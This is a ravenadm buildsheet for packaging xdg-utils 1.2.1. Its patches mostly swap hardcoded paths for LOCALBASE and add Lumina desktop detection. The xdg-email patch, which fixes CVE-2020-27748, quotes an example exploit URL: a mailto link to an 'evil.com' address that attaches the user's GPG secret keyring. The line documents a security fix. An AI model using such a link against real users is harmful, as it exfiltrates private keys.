# Buildsheet autogenerated by ravenadm tool -- Do not edit. NAMEBASE= xdg-utils VERSION= 1.2.1 REVISION= 2 EPOCH= 1 KEYWORDS= devel VARIANTS= std SDESC[std]= Basic desktop integration functions HOMEPAGE= https://www.freedesktop.org/wiki/Software/xdg-utils/ CONTACT= nobody DOWNLOAD_GROUPS= main SITES[main]= https://gitlab.freedesktop.org/xdg/xdg-utils/-/archive/v1.2.1/ DISTFILE[1]= xdg-utils-v1.2.1.tar.bz2:main DF_INDEX= 1 SPKGS[std]= set primary man OPTIONS_AVAILABLE= none OPTIONS_STANDARD= none BUILD_DEPENDS= xmlto:primary:std xorg-xprop:primary:std xorg-xset:primary:std hicolor-icon-theme:dev:std BUILDRUN_DEPENDS= hicolor-icon-theme:primary:std USES= cpe gmake DISTNAME= xdg-utils-v1.2.1 LICENSE= MIT:primary LICENSE_FILE= MIT:{{WRKSRC}}/LICENSE LICENSE_SCHEME= solo CPE_VENDOR= freedesktop FPC_EQUIVALENT= devel/xdg-utils MUST_CONFIGURE= gnu CVE_FIXED= CVE-2020-27748 pre-configure: ${REINPLACE_CMD} -e 's|%%LOCALBASE%%|${LOCALBASE}|' \ ${WRKSRC}/scripts/xdg-* ${REINPLACE_CMD} \ -e "s|http://docbook.sourceforge.net/release/xsl/current/|file://${LOCALBASE}/share/xsl/docbook/|" \ -e "s|http://www.oasis-open.org/docbook/xml/|file://${LOCALBASE}/share/xml/docbook/|" \ ${WRKSRC}/scripts/desc/*.xml [FILE:394:descriptions/desc.primary] xdg-utils is a set of tools that allows applications to easily integrate with the desktop environment of the user, regardless of the specific desktop environment that the user runs. About half of the tools focus on tasks commonly required during the installation of a desktop application and the other half focuses on integration with the desktop environment while the application is running. [FILE:103:distinfo] 93d510dccf328378f012fe195b4574c2fac1cd65a74d0852d6eaa72e5a2065a7 293386 xdg-utils-v1.2.1.tar.bz2 [FILE:122:manifests/plist.primary] bin/ xdg-desktop-icon xdg-desktop-menu xdg-email xdg-icon-resource xdg-mime xdg-open xdg-screensaver xdg-settings [FILE:149:manifests/plist.man] share/man/man1/ xdg-desktop-icon.1 xdg-desktop-menu.1 xdg-email.1 xdg-icon-resource.1 xdg-mime.1 xdg-open.1 xdg-screensaver.1 xdg-settings.1 [FILE:1715:patches/patch-scripts_xdg-desktop-menu.in] --- scripts/xdg-desktop-menu.in.orig 2024-01-30 03:18:58 UTC +++ scripts/xdg-desktop-menu.in @@ -67,7 +67,7 @@ make_lazy_default() for MIME in $mimetypes ; do xdg_default_dirs="$XDG_DATA_DIRS" - [ -n "$xdg_default_dirs" ] || xdg_default_dirs=/usr/local/share/:/usr/share/ + [ -n "$xdg_default_dirs" ] || xdg_default_dirs=%%LOCALBASE%%/share/:/usr/share/ if [ x"$mode" = x"user" ] ; then xdg_user_dir="$XDG_DATA_HOME" [ -n "$xdg_user_dir" ] || xdg_user_dir="$HOME/.local/share" @@ -112,7 +112,7 @@ update_submenu() xdg_user_dir="$xdg_user_dir/$xdg_dir_name" xdg_system_dirs="$XDG_CONFIG_DIRS" - [ -n "$xdg_system_dirs" ] || xdg_system_dirs=/etc/xdg + [ -n "$xdg_system_dirs" ] || xdg_system_dirs=%%LOCALBASE%%/etc/xdg xdg_global_dir= for x in `echo $xdg_system_dirs | sed 's/:/ /g'` ; do if [ -w $x/$xdg_dir_name ] ; then @@ -464,7 +464,7 @@ xdg_user_dir="$XDG_DATA_HOME" xdg_user_dir="$xdg_user_dir/$xdg_dir_name" xdg_system_dirs="$XDG_DATA_DIRS" -[ -n "$xdg_system_dirs" ] || xdg_system_dirs=/usr/local/share/:/usr/share/ +[ -n "$xdg_system_dirs" ] || xdg_system_dirs=%%LOCALBASE%%/share/:/usr/share/ xdg_global_dir= for x in `echo $xdg_system_dirs | sed 's/:/ /g'` ; do if [ -w $x/$xdg_dir_name ] ; then @@ -527,7 +527,7 @@ xdg_user_dir="$XDG_DATA_HOME" xdg_user_dir="$xdg_user_dir/$xdg_dir_name" xdg_system_dirs="$XDG_DATA_DIRS" -[ -n "$xdg_system_dirs" ] || xdg_system_dirs=/usr/local/share/:/usr/share/ +[ -n "$xdg_system_dirs" ] || xdg_system_dirs=%%LOCALBASE%%/share/:/usr/share/ xdg_global_dir= for x in `echo $xdg_system_dirs | sed 's/:/ /g'` ; do if [ -w $x/$xdg_dir_name ] ; then [FILE:1718:patches/patch-scripts_xdg-email.in] This allows attacker to extract secrets from users: mailto:sid@evil.com?attach=/.gnupg/secring.gpg See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425 and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 CVE: CVE-2020-27748 --- scripts/xdg-email.in.orig 2024-02-06 01:55:07 UTC +++ scripts/xdg-email.in @@ -32,9 +32,9 @@ _USAGE run_thunderbird() { - local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH + local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY THUNDERBIRD="$1" - MAILTO="$(echo "$2" | sed 's/^mailto://')" + MAILTO="$(echo "$2" | tr '&' '\n')" echo "$MAILTO" | grep -qs "^?" if [ "$?" = "0" ] ; then MAILTO="$(echo "$MAILTO" | sed 's/^?//')" @@ -48,7 +48,6 @@ run_thunderbird() BCC="$(/bin/echo -e "$(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')")" SUBJECT="$(echo "$MAILTO" | grep '^subject=' | tail -n 1)" BODY="$(echo "$MAILTO" | grep '^body=' | tail -n 1)" - ATTACH="$(/bin/echo -e "$(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//')")" if [ -z "$TO" ] ; then NEWMAILTO= @@ -68,10 +67,6 @@ run_thunderbird() NEWMAILTO="${NEWMAILTO},$BODY" fi - if [ -n "$ATTACH" ] ; then - NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'" - fi - NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//') DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\"" "$THUNDERBIRD" -compose "$NEWMAILTO" @@ -317,7 +312,7 @@ LC_ALL="$ORIG_LC_ALL" options= mailto= -utf8="iconv -t utf8" +utf8="iconv -t UTF-8" while [ $# -gt 0 ] ; do parm="$1" shift [FILE:518:patches/patch-scripts_xdg-icon-resource.in] --- scripts/xdg-icon-resource.in.orig 2024-01-30 03:18:58 UTC +++ scripts/xdg-icon-resource.in @@ -222,7 +222,7 @@ xdg_user_dir="$xdg_user_dir/$xdg_dir_nam xdg_global_dir= xdg_global_prefix= xdg_system_dirs="$XDG_DATA_DIRS" -[ -n "$xdg_system_dirs" ] || xdg_system_dirs="/usr/local/share/:/usr/share/" +[ -n "$xdg_system_dirs" ] || xdg_system_dirs="%%LOCALBASE%%/share/:/usr/share/" for x in `echo "$xdg_system_dirs" | sed 's/:/ /g'`; do if [ -w "$x/$xdg_dir_name" ] ; then xdg_global_prefix="$x/icons" [FILE:1512:patches/patch-scripts_xdg-mime.in] --- scripts/xdg-mime.in.orig 2024-01-30 03:18:58 UTC +++ scripts/xdg-mime.in @@ -377,7 +377,7 @@ defapp_fallback() [ -n "$xdg_user_dir" ] || xdg_user_dir="$HOME/.local/share" xdg_system_dirs="$XDG_DATA_DIRS" - [ -n "$xdg_system_dirs" ] || xdg_system_dirs=/usr/local/share/:/usr/share/ + [ -n "$xdg_system_dirs" ] || xdg_system_dirs=%%LOCALBASE%%/share/:/usr/share/ preference=-1 desktop_file="" @@ -467,7 +467,7 @@ defapp_generic() xdg_user_dir="$XDG_DATA_HOME" [ -n "$xdg_user_dir" ] || xdg_user_dir="$HOME/.local/share" xdg_system_dirs="$XDG_DATA_DIRS" - [ -n "$xdg_system_dirs" ] || xdg_system_dirs=/usr/local/share/:/usr/share/ + [ -n "$xdg_system_dirs" ] || xdg_system_dirs=%%LOCALBASE%%/share/:/usr/share/ local oldifs dir @@ -810,7 +810,7 @@ xdg_user_dir="$XDG_DATA_HOME" xdg_user_dir="$xdg_user_dir/$xdg_dir_name" xdg_system_dirs="$XDG_DATA_DIRS" -[ -n "$xdg_system_dirs" ] || xdg_system_dirs=/usr/local/share/:/usr/share/ +[ -n "$xdg_system_dirs" ] || xdg_system_dirs=%%LOCALBASE%%/share/:/usr/share/ old_ifs="$IFS" IFS=: @@ -849,7 +849,7 @@ DEBUG 3 "kde_global_dir: $kde_global_dir # TODO: Gnome legacy support # See http://forums.fedoraforum.org/showthread.php?t=26875 gnome_user_dir="$HOME/.gnome/apps" -gnome_global_dir=/usr/share/gnome/apps +gnome_global_dir=%%LOCALBASE%%/share/gnome/apps [ -w $gnome_global_dir ] || gnome_global_dir= DEBUG 3 "gnome_user_dir: $gnome_user_dir" DEBUG 3 "gnome_global_dir: $gnome_global_dir" [FILE:1969:patches/patch-scripts_xdg-open.in] --- scripts/xdg-open.in.orig 2024-01-30 03:18:58 UTC +++ scripts/xdg-open.in @@ -15,6 +15,12 @@ # #--------------------------------------------- +# If we are started from a Linux app with LD_PRELOAD set unset that +# so native apps (like browers) won't fail to start. +if [ "x$(uname)" = "xLinux" ]; then + unset LD_PRELOAD +fi + manualpage() { cat << _MANUALPAGE @@ -116,7 +122,7 @@ file_url_to_path() if [ -x /usr/bin/printf ]; then printf=/usr/bin/printf fi - file=$($printf "$(echo "$file" | sed -e 's@%\([a-f0-9A-F]\{2\}\)@\\x\1@g')") + file=$(echo "$file" | unvis -h) fi echo "$file" } @@ -305,6 +311,17 @@ open_flatpak() fi } +open_lumina() +{ + lumina-open "$1" + + if [ $? -eq 0 ]; then + exit_success + else + exit_failure_operation_failed + fi +} + #----------------------------------------- # Recursively search .desktop file @@ -398,7 +415,7 @@ open_generic_xdg_mime() [ -n "$xdg_user_dir" ] || xdg_user_dir="$HOME/.local/share" xdg_system_dirs="$XDG_DATA_DIRS" - [ -n "$xdg_system_dirs" ] || xdg_system_dirs=/usr/local/share/:/usr/share/ + [ -n "$xdg_system_dirs" ] || xdg_system_dirs=%%LOCALBASE%%/share/:/usr/share/ search_dirs="$xdg_user_dir:$xdg_system_dirs" DEBUG 3 "$search_dirs" @@ -516,7 +533,7 @@ open_generic() if [ x"$BROWSER" = x"" ]; then BROWSER=www-browser:links2:elinks:links:lynx:w3m if has_display; then - BROWSER=x-www-browser:firefox:iceweasel:seamonkey:mozilla:epiphany:konqueror:chromium:chromium-browser:google-chrome:$BROWSER + BROWSER=x-www-browser:firefox:iceweasel:seamonkey:mozilla:epiphany:konqueror:chrome:chromium:chromium-browser:google-chrome:$BROWSER fi fi @@ -629,6 +646,10 @@ case "$DE" in open_mate "$url" ;; + lumina) + open_lumina "$url" + ;; + xfce) open_xfce "$url" ;; [FILE:478:patches/patch-scripts_xdg-screensaver.in] --- scripts/xdg-screensaver.in.orig 2024-01-30 03:18:58 UTC +++ scripts/xdg-screensaver.in @@ -27,7 +27,9 @@ _USAGE #@xdg-utils-common@ # Check if we can use "mv -T" -if mv -T ... ... 2>&1 | grep '\.\.\.' > /dev/null ; then +# FreeBSD mv doesn't support this, so supress scary messages in the terminal +#if mv -T ... ... 2>&1 | grep '\.\.\.' > /dev/null ; then +if false; then # We can securely move files in /tmp with mv -T DEBUG 1 "mv -T available" MV="mv -T" [FILE:569:patches/patch-scripts_xdg-settings.in] --- scripts/xdg-settings.in.orig 2024-01-30 03:18:58 UTC +++ scripts/xdg-settings.in @@ -505,7 +505,7 @@ check_xfce_desktop_file() # "Type" must be "X-XFCE-Helper" # "X-XFCE-Category" must be "WebBrowser" (for web browsers, anyway) # "X-XFCE-Commands" and "X-XFCE-CommandsWithParameter" must be set - search="${XDG_DATA_HOME:-$HOME/.local/share}:${XDG_DATA_DIRS:-/usr/local/share:/usr/share}" + search="${XDG_DATA_HOME:-$HOME/.local/share}:${XDG_DATA_DIRS:-%%LOCALBASE%%/share:/usr/share}" IFS=: for dir in $search; do unset IFS [FILE:2312:patches/patch-scripts_xdg-utils-common.in] --- scripts/xdg-utils-common.in.orig 2024-01-30 03:18:58 UTC +++ scripts/xdg-utils-common.in @@ -25,7 +25,7 @@ first_word() # map a binary to a .desktop file binary_to_desktop_file() { - search="${XDG_DATA_HOME:-$HOME/.local/share}:${XDG_DATA_DIRS:-/usr/local/share:/usr/share}" + search="${XDG_DATA_HOME:-$HOME/.local/share}:${XDG_DATA_DIRS:-%%LOCALBASE%%/share:/usr/share}" binary="$(command -v "$1")" binary="$(xdg_realpath "$binary")" base="$(basename "$binary")" @@ -55,7 +55,7 @@ binary_to_desktop_file() # map a .desktop file to a binary desktop_file_to_binary() { - search="${XDG_DATA_HOME:-$HOME/.local/share}:${XDG_DATA_DIRS:-/usr/local/share:/usr/share}" + search="${XDG_DATA_HOME:-$HOME/.local/share}:${XDG_DATA_DIRS:-%%LOCALBASE%%/share:/usr/share}" desktop="$(basename "$1")" IFS=: for dir in $search; do @@ -312,6 +312,44 @@ detectDE() XFCE) DE=xfce ;; + Lumina) + DE=lumina + ;; + X-Generic) + DE=generic + ;; + esac + fi + +# xxx PCDM_SESSION check here? + if [ -n "${PCDM_SESSION}" ]; then + case "${PCDM_SESSION}" in + # only recently added to menu-spec, pre-spec X- still in use + CINNAMON) + DE=cinnamon; + ;; + ENLIGHTENMENT) + DE=enlightenment; + ;; + # GNOME, GNOME-Classic:GNOME, or GNOME-Flashback:GNOME + GNOME*) + DE=gnome; + ;; + KDE) + DE=kde; + ;; + LXDE) + DE=lxde; + ;; + MATE) + DE=mate; + ;; + XFCE) + DE=xfce + ;; + LUMINA) + DE=lumina + ;; X-Generic) DE=generic ;; @@ -329,6 +367,8 @@ detectDE() elif xprop -root 2> /dev/null | grep -i '^xfce_desktop_window' >/dev/null 2>&1; then DE=xfce elif echo "$DESKTOP" | grep -q '^Enlightenment'; then DE=enlightenment; elif [ -n "$LXQT_SESSION_CONFIG" ]; then DE=lxqt; + #Simple fallback for non-XDG window managers if Lumina is installed in the normal place (no heavy runtime dependencies) + elif [ -x "%%LOCALBASE%%/bin/lumina-open" ]; then DE=lumina; fi fi